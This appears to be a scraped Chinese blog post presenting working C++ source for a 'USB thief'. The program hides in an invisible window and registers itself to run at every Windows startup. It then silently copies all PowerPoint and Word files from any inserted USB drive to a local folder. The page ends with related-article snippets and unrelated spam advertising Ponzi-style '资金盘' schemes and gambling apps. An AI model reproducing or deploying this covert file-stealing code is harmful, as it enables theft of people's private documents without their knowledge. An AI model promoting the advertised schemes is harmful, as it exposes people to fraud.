U盘小偷——C++实现U盘插入检测和文件扫描拷贝

重点就是U盘插入监控,获得U盘盘符,开机自启动,文件扫描和复制。

1.对u盘插入行为监控,并获得盘符

  当U盘插入的时候会产生一个消息WM_DEVICECHANG,只要我们获得这个消息,然后进行处理就行。

  为了获得消息,我们需要一个窗口

  

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    PSTR szCmdLine, int iCmdShow)
{
    static TCHAR szAppName[] = TEXT("UUUUUU");
    HWND               hwnd;
    MSG                msg;
    WNDCLASS           wndclass;

    wndclass.style = 0;
    wndclass.lpfnWndProc = WndProc;
    wndclass.cbClsExtra = 0;
    wndclass.cbWndExtra = 0;
    wndclass.hInstance = hInstance;
    wndclass.hIcon = 0;
    wndclass.hCursor = 0;
    wndclass.hbrBackground = 0;
    wndclass.lpszMenuName = NULL;
    wndclass.lpszClassName = szAppName;

    SetAutoRun(TRUE);
    if (!RegisterClass(&wndclass))
    {
        MessageBox(NULL, TEXT("Program requires Windows NT!"),
            szAppName, MB_ICONERROR);
        return 0;
    }
    hwnd = CreateWindow(szAppName, NULL,
        WS_DISABLED,
        0, 0,
        0, 0,
        NULL, NULL, hInstance, NULL);
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return msg.wParam;
}

  窗口回调函数:

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
    lParam)
{
    switch (message)
    {
    case WM_CREATE:           //处理一些要下面要用到的全局变量
        U[1] = ‘:‘;

        SetTimer(hwnd, TIMER, 5000, 0);//启动计时器

        return 0;
    case WM_TIMER:             //timer message 

        SendMessage(hwnd, WM_DEVICECHANGE, 0, 0);//检测有没有插入设备消息

        return 0;
    case WM_DEVICECHANGE:
        OnDeviceChange(hwnd, wParam, lParam);
        return 0;
    case WM_DESTROY:
        KillTimer(hwnd, TIMER);
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd, message, wParam, lParam);
}

  OnDeviceChange函数是对WM_DEVICECHANGE消息的处理,在这个函数里,就可以实现对u盘插入行为的监控,并处理。

LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{
    PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
    switch (wParam)
    {
    case DBT_DEVICEARRIVAL: //插入
        if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
        {
            PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
            U[0] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符
            //MessageBox(0, U, "Notice!", MB_OK);
            string Utemp;
            Utemp = U;
        //    Utemp += "\\";
            Filesearch(Utemp, 0);  //搜索u盘
            CopyPPT(FileList);    //复制ppt
            CopyDOC(FileList);    //复制doc
            //MessageBox(0, "Copy Success", "Notice!", MB_OK);

        }
        break;
    case DBT_DEVICEREMOVECOMPLETE: //设备删除
        //MessageBox(0, "u盘退出", "Notice!", MB_OK);
        break;
    }
    return LRESULT();
}

  FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符,有了盘符,U盘就相当于一个普通的文件夹了。

2.文件遍历 查找 搜索 复制

void Filesearch(string Path, int Layer)
{
    FileInfo FileInfomation;
    struct _finddata_t filefind;
    string Current = Path + "\\*.*";                            // 修改此处改变搜索条件
    int Done = 0, i, Handle;
    string FullPath;
    if ((Handle = _findfirst(Current.c_str(), &filefind)) != -1)
    {
        while (!(Done = _findnext(Handle, &filefind)))
        {
            if (strcmp(filefind.name, "..") == 0)
                continue;
            for (i = 0; i <Layer; i++)
                printf("\t");
            if ((_A_SUBDIR == filefind.attrib))                // 是目录
            {
                printf("[Dir]:\t%s\n", filefind.name);
                Current = Path + "\\" + filefind.name;
                Filesearch(Current, Layer + 1);                    // 递归遍历子目录
            }
            else
            {
                printf("[File]:\t%s\n", filefind.name);
                FullPath = Path + "\\" + filefind.name;
                FileInfomation.Name = filefind.name;
                FileInfomation.FullPath = FullPath;
                FileList.push_back(FileInfomation);
                FullPath.empty();
            }
        }
        _findclose(Handle);
    }
}

void CopyPPT(vector<FileInfo> FileList)
{
        mkdir("C:\\Destest");
        for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
        {
            string TempPath;
            //printf("%s\r\n", iterator->);

            if ((int)(iterator->Name.find(".ppt")) > 0)
            {
                TempPath = DesPath + "\\" + iterator->Name ;
                BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
                cout << GetLastError();
                if (bOk == TRUE)
                {
                //    MessageBox(0, "Copy Success", "Notice!", MB_OK);

                }
                else
                {
                //    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
                }
            }

        }
}

void CopyDOC(vector<FileInfo> FileList)
{
    mkdir("C:\\Destest");
    for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
    {
        string TempPath;
        //printf("%s\r\n", iterator->);

        if ((int)(iterator->Name.find(".doc")) > 0)
        {
            TempPath = DesPath + "\\" + iterator->Name;
            BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
            cout << GetLastError();
            if (bOk == TRUE)
            {
                //    MessageBox(0, "Copy Success", "Notice!", MB_OK);

            }
            else
            {
                //    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
            }
        }
    }
}


3.开机自启动 注册表实现

void SetAutoRun(BOOL bAutoRun)
{
    HKEY hKey;
    char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项
    if (bAutoRun)
    {
        if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项
        {
            TCHAR szModule[_MAX_PATH];
            GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径
            RegSetValueEx(hKey, "U盘检测", 0, REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值,"Client"是应用程序名字(不加后缀.exe)
            RegCloseKey(hKey); //关闭注册表
        }
        else
        {
        //    MessageBox("系统参数错误,不能随系统启动");
        }
    }
    else
    {
        if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
        {
            RegDeleteValue(hKey, "U盘检测");
            RegCloseKey(hKey);
        }
    }
}

Win10下可以实现功能,另外这不是控制台程序,为了实现对消息的监控,这得是窗口程序。

猥琐的小程序可能包含一些奇淫技巧,但是还是不能做非法不道德事。

				
时间: 2024-10-12 19:53:11

U盘小偷——C++实现U盘插入检测和文件扫描拷贝的相关文章

读&quot;U盘小偷&quot;有感

作者: sudami 嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:http://bbs.pediy.com/showthread.php?p=381656#post381656读了其源码,学到一些东西: (1) 判断移动设备的插入/拔出 嘿嘿, 以前一直觉得很神秘的"判断是否有U盘插入"其实就是这么一回事! 下面照搬作者本人的注解吧: 1.Message==WM_DEVICECHANGE 当设备被插入/拔出的时候,WINDOWS会向每个窗体发送

锻造完美U盘小偷:活用消息机制

锻造完美U盘小偷:活用消息机制作者:灰狐来源:灰狐's Blog 注:本文已发表在<黑客防线>2008年第1期,转载请注明出处. 以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就是所谓的U盘小偷了——偷偷地把你U盘里的东西copy出来的东西. 根据以前的<黑客防线>来看,就这一类的工具已经N多了,有脚本或批处理的.有VC的.有BCB的.有delphi或VB的,五花八门:当然其中各个的技术含量也是大不相同,大多数都是采用最常规的做法.注入进程的见过不少,但居然很少有讲使用消

虚拟机下怎么连接U盘,如何使用U盘?一策书(湘岳阳万江波)的随笔

准备在虚拟机下,制作U盘启动盘.安装了U盘制作软件,插上U盘却无法识别到.打开虚拟机进行设置,添加USB设备,提示:已达到最大值.怎么回事呢? 原来还需要在宿主机上进行设置. 在宿主机上,运行:services.msc, 接着在打开的服务窗口中找到VMware USB Arbitration Service服务项,同时双击该服务项打开其编辑窗口. 设置为自动启动,如图: 接下来双击打开虚拟机软件,选中要运行的虚拟机后,点击右侧窗口中的“编辑虚拟机设置”快捷链接 编辑USB连接属性,如下图: 勾选

为什么360、百度、腾讯出的Mac端云盘客户端都只有同步盘?(用户量小,而且同步盘开发成本低)

如题,顾名思义,同步盘是用来同步的,不具备增量的功能,像这三家在Windows端出的客户端都是即有同步也有增量的. 陆续出来的,可能大家更多的是跟随策略,不得不提dropbox是这样的形式.mac电脑更多还是高端用户,他们也可以无需学习成本的使用同步盘模式.但是随着目前这几个盘的空间都越来越大,相信很快也会出网盘模式.微云的mac端就有查看云端文件功能,跟web的体验一致. Mac用户相比较Windows用户少,所以先只开发同步盘后续开始研发同步增量盘,貌似在LINUX下,那一家都没有客户端 简

QQ窗口的控制,同步异步打开360网盘,控制360网盘窗口的移动

 1.通过system启动飞秋进程的方式: 2.Windows下杀死进程的方式是:taskkill /f/im QQ.exe,截图如下: 3.控制360网盘的移动,打开等效果: #include<stdio.h> #include<stdlib.h> #include<Windows.h> /************************************************************************/ /*非作业题:由于没有百度网

U盘基本处理,U盘与移动固态硬盘

一.辨别 USB2.0 和 USB3.0 1.从USB外观上来看,USB2.0通常是白色或黑色,而USB3.0则改观为"高大上"的蓝色接口. 目前,部分笔记本电脑USB接口,已同时提供对USB2.0及USB3.0的支持,我们可以通过接口颜色来区别. 2.从USB插口引脚上来看,USB2.0采用4针脚设计,而USB3.0则采取9针脚设计,相比而言USB3.0功能更强大. 3.从USB公口的外观上来看,USB3.0接口部分标记有"SS"样式,而USB2.0则只标记普通的

在指定的盘符,搜索出给定后缀名的文件

# -*- coding: cp936 -*- #python 27 #xiaodeng #http://www.cnblogs.com/hongten/p/hongten_python_file_info.html #在指定的盘符,搜索出给定后缀名的文件 #本脚本知识点: #os.listdir():返回指定目录下的所有文件和目录名(文件夹) #os.path.getsize(name):获得文件大小,如果name是目录返回OL #os.path.join(path,name):连接目录与文件

甚么是「增强限价盘」、「限价盘」、「特别限价盘」、「竞价盘」和「竞价限价盘」

竞价盘??(AO) 竞价盘??是没有指定价格的买卖盘,在输入AMS/3系统后按最终参考平衡价格进行对盘.竞价盘??享有较竞价限价盘(AL)优先的对盘次序及根据时间先后次序按最终参考平衡价格顺序对盘.在开市前时段结束后,任何未完成的竞价盘会于持续交易时段开始前自动取消. (网上交易系统没有提供竞价盘(AO),如欲发出买入/沽出指示,必须透过电话方式(852)3465-5666,(852)3465-5667) 竞价限价盘(AL) 竞价限价盘是有指定价格的买卖盘.指定价格等同最终参考平衡价格或较最终参

很么是拆分资金盘?开发一个资金盘系统平台多少钱

1:资金盘,互助盘,复利分拆盘商城 (如上!) 禤顾问:13533825257,微信 :gaqi123456782:H5微信小游戏(QQ在线人数竞猜.美女大转盘.猜大猜小.夹娃娃.打地鼠.疯狂套牛.比大小.互换等等) 3:游戏厅APP(QI牌.李达劈鱼,金蟾捕鱼,快乐5分,奔驰宝马,快乐六狮,闲来麻将,欢乐斗牛等等等)要开发定制的朋友联系我咨询联系:禤顾问:13533825257,微信 :gaqi12345678你有项目 我有技术,赚钱就这么简单,如果你现在有新的构思,请及时联系我,因为我们可以